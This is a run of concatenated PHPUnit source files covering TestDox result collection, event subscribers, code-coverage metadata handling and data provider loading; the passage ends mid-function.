Subscriber implements FinishedSubscriber { /** * @throws InvalidArgumentException */ public function notify(Finished $event): void { $this->collector()->testFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { public function notify(MarkedIncomplete $event): void { $this->collector()->testMarkedIncomplete($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\Passed; use PHPUnit\Event\Test\PassedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPassedSubscriber extends Subscriber implements PassedSubscriber { public function notify(Passed $event): void { $this->collector()->testPassed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { public function notify(Prepared $event): void { $this->collector()->testPrepared($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { public function notify(Skipped $event): void { $this->collector()->testSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\DeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredDeprecationSubscriber extends Subscriber implements DeprecationTriggeredSubscriber { public function notify(DeprecationTriggered $event): void { $this->collector()->testTriggeredDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\NoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredNoticeSubscriber extends Subscriber implements NoticeTriggeredSubscriber { public function notify(NoticeTriggered $event): void { $this->collector()->testTriggeredNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpDeprecationSubscriber extends Subscriber implements PhpDeprecationTriggeredSubscriber { public function notify(PhpDeprecationTriggered $event): void { $this->collector()->testTriggeredPhpDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpNoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpNoticeSubscriber extends Subscriber implements PhpNoticeTriggeredSubscriber { public function notify(PhpNoticeTriggered $event): void { $this->collector()->testTriggeredPhpNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpWarningSubscriber extends Subscriber implements PhpWarningTriggeredSubscriber { public function notify(PhpWarningTriggered $event): void { $this->collector()->testTriggeredPhpWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitDeprecationSubscriber extends Subscriber implements PhpunitDeprecationTriggeredSubscriber { public function notify(PhpunitDeprecationTriggered $event): void { $this->collector()->testTriggeredPhpunitDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitErrorSubscriber extends Subscriber implements PhpunitErrorTriggeredSubscriber { public function notify(PhpunitErrorTriggered $event): void { $this->collector()->testTriggeredPhpunitError($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitWarningSubscriber extends Subscriber implements PhpunitWarningTriggeredSubscriber { public function notify(PhpunitWarningTriggered $event): void { $this->collector()->testTriggeredPhpunitWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\Test\WarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredWarningSubscriber extends Subscriber implements WarningTriggeredSubscriber { public function notify(WarningTriggered $event): void { $this->collector()->testTriggeredWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\Code\Throwable; use PHPUnit\Framework\TestStatus\TestStatus; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResult { private readonly TestMethod $test; private readonly TestStatus $status; private readonly ?Throwable $throwable; public function __construct(TestMethod $test, TestStatus $status, ?Throwable $throwable) { $this->test = $test; $this->status = $status; $this->throwable = $throwable; } public function test(): TestMethod { return $this->test; } public function status(): TestStatus { return $this->status; } /** * @psalm-assert-if-true !null $this->throwable */ public function hasThrowable(): bool { return $this->throwable !== null; } public function throwable(): ?Throwable { return $this->throwable; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResultCollection implements IteratorAggregate { /** * @psalm-var list */ private readonly array $testResults; /** * @psalm-param list $testResults */ public static function fromArray(array $testResults): self { return new self(...$testResults); } private function __construct(TestResult ...$testResults) { $this->testResults = $testResults; } /** * @psalm-return list */ public function asArray(): array { return $this->testResults; } public function getIterator(): TestResultCollectionIterator { return new TestResultCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use function count; use Iterator; /** * @template-implements Iterator * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResultCollectionIterator implements Iterator { /** * @psalm-var list */ private readonly array $testResults; private int $position = 0; public function __construct(TestResultCollection $testResults) { $this->testResults = $testResults->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->testResults); } public function key(): int { return $this->position; } public function current(): TestResult { return $this->testResults[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Logging\TestDox; use function array_keys; use function array_merge; use function assert; use function is_subclass_of; use function ksort; use function uksort; use function usort; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\Passed; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Framework\TestStatus\TestStatus; use PHPUnit\Logging\TestDox\TestResult as TestDoxTestMethod; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\SourceFilter; use ReflectionMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResultCollector { private readonly Source $source; /** * @psalm-var array> */ private array $tests = []; private ?TestStatus $status = null; private ?Throwable $throwable = null; private bool $prepared = false; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Facade $facade, Source $source) { $this->source = $source; $this->registerSubscribers($facade); } /** * @psalm-return array */ public function testMethodsGroupedByClass(): array { $result = []; foreach ($this->tests as $prettifiedClassName => $tests) { $testsByDeclaringClass = []; foreach ($tests as $test) { $declaringClassName = (new ReflectionMethod($test->test()->className(), $test->test()->methodName()))->getDeclaringClass()->getName(); if (!isset($testsByDeclaringClass[$declaringClassName])) { $testsByDeclaringClass[$declaringClassName] = []; } $testsByDeclaringClass[$declaringClassName][] = $test; } foreach (array_keys($testsByDeclaringClass) as $declaringClassName) { usort( $testsByDeclaringClass[$declaringClassName], static function (TestDoxTestMethod $a, TestDoxTestMethod $b): int { return $a->test()->line() <=> $b->test()->line(); }, ); } uksort( $testsByDeclaringClass, /** * @psalm-param class-string $a * @psalm-param class-string $b */ static function (string $a, string $b): int { if (is_subclass_of($b, $a)) { return -1; } if (is_subclass_of($a, $b)) { return 1; } return 0; }, ); $tests = []; foreach ($testsByDeclaringClass as $_tests) { $tests = array_merge($tests, $_tests); } $result[$prettifiedClassName] = TestResultCollection::fromArray($tests); } ksort($result); return $result; } public function testPrepared(Prepared $event): void { if (!$event->test()->isTestMethod()) { return; } $this->status = TestStatus::unknown(); $this->throwable = null; $this->prepared = true; } public function testErrored(Errored $event): void { if (!$event->test()->isTestMethod()) { return; } $this->status = TestStatus::error($event->throwable()->message()); $this->throwable = $event->throwable(); if (!$this->prepared) { $test = $event->test(); assert($test instanceof TestMethod); $this->process($test); } } public function testFailed(Failed $event): void { if (!$event->test()->isTestMethod()) { return; } $this->status = TestStatus::failure($event->throwable()->message()); $this->throwable = $event->throwable(); } public function testPassed(Passed $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::success()); } public function testSkipped(Skipped $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::skipped($event->message())); } public function testMarkedIncomplete(MarkedIncomplete $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::incomplete($event->throwable()->message())); $this->throwable = $event->throwable(); } public function testConsideredRisky(ConsideredRisky $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::risky()); } public function testTriggeredDeprecation(DeprecationTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByTest()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfDeprecations() && $event->wasSuppressed()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::deprecation()); } public function testTriggeredNotice(NoticeTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfNotices() && $event->wasSuppressed()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::notice()); } public function testTriggeredWarning(WarningTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfWarnings() && $event->wasSuppressed()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::warning()); } public function testTriggeredPhpDeprecation(PhpDeprecationTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByTest()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfPhpDeprecations() && $event->wasSuppressed()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::deprecation()); } public function testTriggeredPhpNotice(PhpNoticeTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfPhpNotices() && $event->wasSuppressed()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::notice()); } public function testTriggeredPhpWarning(PhpWarningTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } if ($event->ignoredByBaseline()) { return; } if (!$this->source->ignoreSuppressionOfPhpWarnings() && $event->wasSuppressed()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } $this->updateTestStatus(TestStatus::warning()); } public function testTriggeredPhpunitDeprecation(PhpunitDeprecationTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::deprecation()); } public function testTriggeredPhpunitError(PhpunitErrorTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::error()); } public function testTriggeredPhpunitWarning(PhpunitWarningTriggered $event): void { if (!$event->test()->isTestMethod()) { return; } $this->updateTestStatus(TestStatus::warning()); } /** * @throws InvalidArgumentException */ public function testFinished(Finished $event): void { if (!$event->test()->isTestMethod()) { return; } $test = $event->test(); assert($test instanceof TestMethod); $this->process($test); $this->status = null; $this->throwable = null; $this->prepared = false; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(Facade $facade): void { $facade->registerSubscribers( new TestConsideredRiskySubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestFinishedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestPassedSubscriber($this), new TestPreparedSubscriber($this), new TestSkippedSubscriber($this), new TestTriggeredDeprecationSubscriber($this), new TestTriggeredNoticeSubscriber($this), new TestTriggeredPhpDeprecationSubscriber($this), new TestTriggeredPhpNoticeSubscriber($this), new TestTriggeredPhpunitDeprecationSubscriber($this), new TestTriggeredPhpunitErrorSubscriber($this), new TestTriggeredPhpunitWarningSubscriber($this), new TestTriggeredPhpWarningSubscriber($this), new TestTriggeredWarningSubscriber($this), ); } private function updateTestStatus(TestStatus $status): void { if ($this->status !== null && $this->status->isMoreImportantThan($status)) { return; } $this->status = $status; } private function process(TestMethod $test): void { if (!isset($this->tests[$test->testDox()->prettifiedClassName()])) { $this->tests[$test->testDox()->prettifiedClassName()] = []; } $this->tests[$test->testDox()->prettifiedClassName()][] = new TestDoxTestMethod( $test, $this->status, $this->throwable, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class After extends Metadata { /** * @psalm-assert-if-true After $this */ public function isAfter(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class AfterClass extends Metadata { /** * @psalm-assert-if-true AfterClass $this */ public function isAfterClass(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use function array_unique; use function array_values; use function assert; use function count; use function interface_exists; use function sprintf; use function str_starts_with; use PHPUnit\Framework\CodeCoverageException; use PHPUnit\Framework\InvalidCoversTargetException; use PHPUnit\Framework\TestSuite; use PHPUnit\Metadata\Covers; use PHPUnit\Metadata\CoversClass; use PHPUnit\Metadata\CoversDefaultClass; use PHPUnit\Metadata\CoversFunction; use PHPUnit\Metadata\IgnoreClassForCodeCoverage; use PHPUnit\Metadata\IgnoreFunctionForCodeCoverage; use PHPUnit\Metadata\IgnoreMethodForCodeCoverage; use PHPUnit\Metadata\Parser\Registry; use PHPUnit\Metadata\Uses; use PHPUnit\Metadata\UsesClass; use PHPUnit\Metadata\UsesDefaultClass; use PHPUnit\Metadata\UsesFunction; use RecursiveIteratorIterator; use SebastianBergmann\CodeUnit\CodeUnitCollection; use SebastianBergmann\CodeUnit\Exception as CodeUnitException; use SebastianBergmann\CodeUnit\InvalidCodeUnitException; use SebastianBergmann\CodeUnit\Mapper; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CodeCoverage { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws CodeCoverageException * * @psalm-return array>|false */ public function linesToBeCovered(string $className, string $methodName): array|false { if (!$this->shouldCodeCoverageBeCollectedFor($className, $methodName)) { return false; } $metadataForClass = Registry::parser()->forClass($className); $classShortcut = null; if ($metadataForClass->isCoversDefaultClass()->isNotEmpty()) { if (count($metadataForClass->isCoversDefaultClass()) > 1) { throw new CodeCoverageException( sprintf( 'More than one @coversDefaultClass annotation for class or interface "%s"', $className, ), ); } $metadata = $metadataForClass->isCoversDefaultClass()->asArray()[0]; assert($metadata instanceof CoversDefaultClass); $classShortcut = $metadata->className(); } $codeUnits = CodeUnitCollection::fromList(); $mapper = new Mapper; foreach (Registry::parser()->forClassAndMethod($className, $methodName) as $metadata) { if (!$metadata->isCoversClass() && !$metadata->isCoversFunction() && !$metadata->isCovers()) { continue; } assert($metadata instanceof CoversClass || $metadata instanceof CoversFunction || $metadata instanceof Covers); if ($metadata->isCoversClass() || $metadata->isCoversFunction()) { $codeUnits = $codeUnits->mergeWith($this->mapToCodeUnits($metadata)); } elseif ($metadata->isCovers()) { assert($metadata instanceof Covers); $target = $metadata->target(); if (interface_exists($target)) { throw new InvalidCoversTargetException( sprintf( 'Trying to @cover interface "%s".', $target, ), ); } if ($classShortcut !== null && str_starts_with($target, '::')) { $target = $classShortcut . $target; } try { $codeUnits = $codeUnits->mergeWith($mapper->stringToCodeUnits($target)); } catch (InvalidCodeUnitException $e) { throw new InvalidCoversTargetException( sprintf( '"@covers %s" is invalid', $target, ), $e->getCode(), $e, ); } } } return $mapper->codeUnitsToSourceLines($codeUnits); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws CodeCoverageException * * @psalm-return array> */ public function linesToBeUsed(string $className, string $methodName): array { $metadataForClass = Registry::parser()->forClass($className); $classShortcut = null; if ($metadataForClass->isUsesDefaultClass()->isNotEmpty()) { if (count($metadataForClass->isUsesDefaultClass()) > 1) { throw new CodeCoverageException( sprintf( 'More than one @usesDefaultClass annotation for class or interface "%s"', $className, ), ); } $metadata = $metadataForClass->isUsesDefaultClass()->asArray()[0]; assert($metadata instanceof UsesDefaultClass); $classShortcut = $metadata->className(); } $codeUnits = CodeUnitCollection::fromList(); $mapper = new Mapper; foreach (Registry::parser()->forClassAndMethod($className, $methodName) as $metadata) { if (!$metadata->isUsesClass() && !$metadata->isUsesFunction() && !$metadata->isUses()) { continue; } assert($metadata instanceof UsesClass || $metadata instanceof UsesFunction || $metadata instanceof Uses); if ($metadata->isUsesClass() || $metadata->isUsesFunction()) { $codeUnits = $codeUnits->mergeWith($this->mapToCodeUnits($metadata)); } elseif ($metadata->isUses()) { assert($metadata instanceof Uses); $target = $metadata->target(); if ($classShortcut !== null && str_starts_with($target, '::')) { $target = $classShortcut . $target; } try { $codeUnits = $codeUnits->mergeWith($mapper->stringToCodeUnits($target)); } catch (InvalidCodeUnitException $e) { throw new InvalidCoversTargetException( sprintf( '"@uses %s" is invalid', $target, ), $e->getCode(), $e, ); } } } return $mapper->codeUnitsToSourceLines($codeUnits); } /** * @psalm-return array> */ public function linesToBeIgnored(TestSuite $testSuite): array { $codeUnits = CodeUnitCollection::fromList(); $mapper = new Mapper; foreach ($this->testCaseClassesIn($testSuite) as $testCaseClassName) { $codeUnits = $codeUnits->mergeWith( $this->codeUnitsIgnoredBy($testCaseClassName), ); } return $mapper->codeUnitsToSourceLines($codeUnits); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function shouldCodeCoverageBeCollectedFor(string $className, string $methodName): bool { $metadataForClass = Registry::parser()->forClass($className); $metadataForMethod = Registry::parser()->forMethod($className, $methodName); if ($metadataForMethod->isCoversNothing()->isNotEmpty()) { return false; } if ($metadataForMethod->isCovers()->isNotEmpty() || $metadataForMethod->isCoversClass()->isNotEmpty() || $metadataForMethod->isCoversFunction()->isNotEmpty()) { return true; } if ($metadataForClass->isCoversNothing()->isNotEmpty()) { return false; } return true; } /** * @psalm-return list */ private function testCaseClassesIn(TestSuite $testSuite): array { $classNames = []; foreach (new RecursiveIteratorIterator($testSuite) as $test) { $classNames[] = $test::class; } return array_values(array_unique($classNames)); } /** * @psalm-param class-string $className */ private function codeUnitsIgnoredBy(string $className): CodeUnitCollection { $codeUnits = CodeUnitCollection::fromList(); $mapper = new Mapper; foreach (Registry::parser()->forClass($className) as $metadata) { if ($metadata instanceof IgnoreClassForCodeCoverage) { $codeUnits = $codeUnits->mergeWith( $mapper->stringToCodeUnits($metadata->className()), ); } if ($metadata instanceof IgnoreMethodForCodeCoverage) { $codeUnits = $codeUnits->mergeWith( $mapper->stringToCodeUnits($metadata->className() . '::' . $metadata->methodName()), ); } if ($metadata instanceof IgnoreFunctionForCodeCoverage) { $codeUnits = $codeUnits->mergeWith( $mapper->stringToCodeUnits('::' . $metadata->functionName()), ); } } return $codeUnits; } /** * @throws InvalidCoversTargetException */ private function mapToCodeUnits(CoversClass|CoversFunction|UsesClass|UsesFunction $metadata): CodeUnitCollection { $mapper = new Mapper; try { return $mapper->stringToCodeUnits($metadata->asStringForCodeUnitMapper()); } catch (CodeUnitException $e) { if ($metadata->isCoversClass() || $metadata->isUsesClass()) { if (interface_exists($metadata->className())) { $type = 'Interface'; } else { $type = 'Class'; } } else { $type = 'Function'; } throw new InvalidCoversTargetException( sprintf( '%s "%s" is not a valid target for code coverage', $type, $metadata->asStringForCodeUnitMapper(), ), $e->getCode(), $e, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Api; use const JSON_ERROR_NONE; use const PREG_OFFSET_CAPTURE; use function array_key_exists; use function assert; use function explode; use function get_debug_type; use function is_array; use function is_int; use function is_string; use function json_decode; use function json_last_error; use function json_last_error_msg; use function preg_match; use function preg_replace; use function rtrim; use function sprintf; use function str_replace; use function strlen; use function substr; use function trim; use PHPUnit\Event; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\TestData\MoreThanOneDataSetFromDataProviderException; use PHPUnit\Event\TestData\TestDataCollection; use PHPUnit\Framework\InvalidDataProviderException; use PHPUnit\Metadata\DataProvider as DataProviderMetadata; use PHPUnit\Metadata\MetadataCollection; use PHPUnit\Metadata\Parser\Registry as MetadataRegistry; use PHPUnit\Metadata\TestWith; use PHPUnit\Util\Reflection; use PHPUnit\Util\Test; use ReflectionClass; use ReflectionMethod; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DataProvider { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws InvalidDataProviderException */ public function providedData(string $className, string $methodName): ?array { $dataProvider = MetadataRegistry::parser()->forMethod($className, $methodName)->isDataProvider(); $testWith = MetadataRegistry::parser()->forMethod($className, $methodName)->isTestWith(); if ($dataProvider->isEmpty() && $testWith->isEmpty()) { return $this->dataProvidedByTestWithAnnotation($className, $methodName); } if ($dataProvider->isNotEmpty()) { $data = $this->dataProvidedByMethods($className, $methodName, $dataProvider); } else { $data = $this->dataProvidedByMetadata($testWith); } if ($data === []) { throw new InvalidDataProviderException( 'Empty data set provided by data provider', ); } foreach ($data as $key => $value) { if (!is_array($value)) { throw new InvalidDataProviderException( sprintf( 'Data set %s is invalid', is_int($key) ? '#' . $key : '"' . $key . '"', ), ); } } return $data; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws InvalidDataProviderException */ private function dataProvidedByMethods(string $className, string $methodName, MetadataCollection $dataProvider): array { $testMethod = new Event\Code\ClassMethod($className, $methodName); $methodsCalled = []; $result = []; foreach ($dataProvider as $_dataProvider) { assert($_dataProvider instanceof DataProviderMetadata); $dataProviderMethod = new Event\Code\ClassMethod($_dataProvider->className(), $_dataProvider->methodName()); Event\Facade::emitter()->dataProviderMethodCalled( $testMethod, $dataProviderMethod, ); $methodsCalled[] = $dataProviderMethod; try { $class = new ReflectionClass($_dataProvider->className()); $method = $class->getMethod($_dataProvider->methodName()); if (Test::isTestMethod($method)) { Event\Facade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Method %s::%s() used by test method %s::%s() is also a test method', $_dataProvider->className(), $_dataProvider->methodName(), $className, $methodName, ), ); } $object = null; if (!$method->isPublic()) { Event\Facade::emitter()->testTriggeredPhpunitDeprecation( $this->valueObjectForTestMethodWithoutTestData( $className, $methodName, ), sprintf( 'Data Provider method %s::%s() is not public', $_dataProvider->className(), $_dataProvider->methodName(), ), ); } if (!$method->isStatic()) { Event\Facade::emitter()->testTriggeredPhpunitDeprecation( $this->valueObjectForTestMethodWithoutTestData( $className, $methodName, ), sprintf( 'Data Provider method %s::%s() is not static', $_dataProvider->className(), $_dataProvider->methodName(), ), ); $object = $class->newInstanceWithoutConstructor(); } if ($method->getNumberOfParameters() === 0) { $data = $method->invoke($object); } else { Event\Facade::emitter()->testTriggeredPhpunitDeprecation( $this->valueObjectForTestMethodWithoutTestData( $className, $methodName, ), sprintf( 'Data Provider method %s::%s() expects an argument', $_dataProvider->className(), $_dataProvider->methodName(), ), ); $data = $method->invoke($object, $_dataProvider->methodName()); } } catch (Throwable $e) { Event\Facade::emitter()->dataProviderMethodFinished( $testMethod, ...$methodsCalled, ); throw new InvalidDataProviderException( $e->getMessage(), $e->getCode(), $e, ); } foreach ($data as $key => $value) { if (is_int($key)) { $result[] = $value; } elseif (is_string($key)) { if (array_key_exists($key, $result)) { Event\Facade::emitter()->dataProviderMethodFinished( $testMethod, ...$methodsCalled, ); throw new InvalidDataProviderException( sprintf( 'The key "%s" has already been defined by a previous data provider', $key, ), ); } $result[$key] = $value; } else { throw new InvalidDataProviderException( sprintf( 'The key must be an integer or a string, %s given', get_debug_type($key), ), ); } } } Event\Facade::emitter()->dataProviderMethodFinished( $testMethod, ...$methodsCalled, ); return $result; } private function dataProvidedByMetadata(MetadataCollection $testWith): array { $result = []; foreach ($testWith as $_testWith) { assert($_testWith instanceof TestWith); $result[] = $_testWith->data(); } return $result; } /** * @psalm-param class-string $className * * @throws InvalidDataProviderException */ private function dataProvidedByTestWithAnnotation(string $className, string $methodName): ?array { $docComment = (new ReflectionMethod($className, $methodName))->getDocComment(); if ($docComment === false) { return null; } $docComment = str_replace("\r\n", "\n", $docComment); $docComment = preg_replace('/\n\s*\*\s?/', "\n", $docComment); $docComment = substr($docComment, 0, -1); $docComment = rtrim($docComment, "\n"); if (!preg_match('/@testWith\s+/', $docComment, $matches, PREG_OFFSET_CAPTURE)) { return null; } $offset = strlen($matches[0][0]) + (int) $matches[0][1]; $annotationContent = substr($docComment, $offset); $data = []; foreach (explode("\n", $annotationContent) as $candidateRow) { $candidateRow = trim($candidateRow); if ($candidateRow === '' || $candidateRow[0] !== '[') { break; } $dataSet = json_decode($candidateRow, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new InvalidDataProviderException( 'The data set for the @testWith annotation cannot be parsed: ' . json_last_error_msg(), ); } $data[] = $dataSet; } if 